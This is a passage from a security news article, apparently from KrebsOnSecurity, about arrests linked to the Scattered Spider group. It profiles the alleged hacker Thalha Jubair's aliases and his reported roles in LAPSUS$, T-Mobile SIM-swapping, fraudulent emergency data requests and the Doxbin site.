Sources told KrebsOnSecurity that Flowers, who allegedly went by the hacker handles “bo764,” “Holy,” and “Nazi,” was the group member who anonymously gave interviews to the media in the days after the MGM hack. His real name was omitted from a September 2024 story about the group because he was not yet charged in that incident.

The bigger fish arrested this week is 19-year-old Thalha Jubair, a U.K. man whose alleged exploits under various monikers have been well-documented in stories on this site. Jubair is believed to have used the nickname “Earth2Star,” which corresponds to a founding member of the cybercrime-focused Telegram channel “Star Fraud Chat.”

In 2023, KrebsOnSecurity published an investigation into the work of three different SIM-swapping groups that phished credentials from T-Mobile employees and used that access to offer a service whereby any T-Mobile phone number could be swapped to a new device. Star Chat was by far the most active and consequential of the three SIM-swapping groups, who collectively broke into T-Mobile’s network more than 100 times in the second half of 2022.

Sources tell KrebsOnSecurity that Jubair also was a core member of the LAPSUS$ cybercrime group that broke into dozens of technology companies in 2022, stealing source code and other internal data from tech giants including Microsoft, Nvidia, Okta, Rockstar Games, Samsung, T-Mobile, and Uber.

In April 2022, KrebsOnSecurity published internal chat records from LAPSUS$, and those chats indicated Jubair was using the nicknames Amtrak and Asyntax. At one point in the chats, Amtrak told the LAPSUS$ group leader not to share T-Mobile’s logo in images sent to the group because he’d been previously busted for SIM-swapping and his parents would suspect he was back at it again.

As shown in those chats, the leader of LAPSUS$ eventually decided to betray Amtrak by posting his real name, phone number, and other hacker handles into a public chat room on Telegram.

That story about the leaked LAPSUS$ chats connected Amtrak/Asyntax/Jubair to the identity “Everlynn,” the founder of a cybercriminal service that sold fraudulent “emergency data requests” targeting the major social media and email providers. In such schemes, the hackers compromise email accounts tied to police departments and government agencies, and then send unauthorized demands for subscriber data while claiming the information being requested can’t wait for a court order because it relates to an urgent matter of life and death.

Sources say Jubair also used the nickname “Operator,” and that until recently he was the administrator of the Doxbin, a long-running and highly toxic online community that is used to “dox” or post deeply personal information on people. In May 2024, several popular cybercrime channels on Telegram ridiculed Operator after it was revealed that he’d staged his own kidnapping in a botched plan to throw off law enforcement investigators.

In November 2024, U.S. authorities charged five men aged 20 to 25 in connection with the Scattered Spider group, which has long relied on recruiting minors to carry out its most risky activities. Indeed, many of the group’s core members were recruited from online gaming platforms like Roblox and Minecraft in their early teens, and have been perfecting their social engineering tactics for years.

“There is a clear pattern that some of the most depraved threat actors first joined cybercrime gangs at an exceptionally young age,” said Allison Nixon, chief research officer at the New York based security firm Unit 221B. “Cybercriminals arrested at 15 or younger need serious intervention and monitoring to prevent a years long massive escalation.”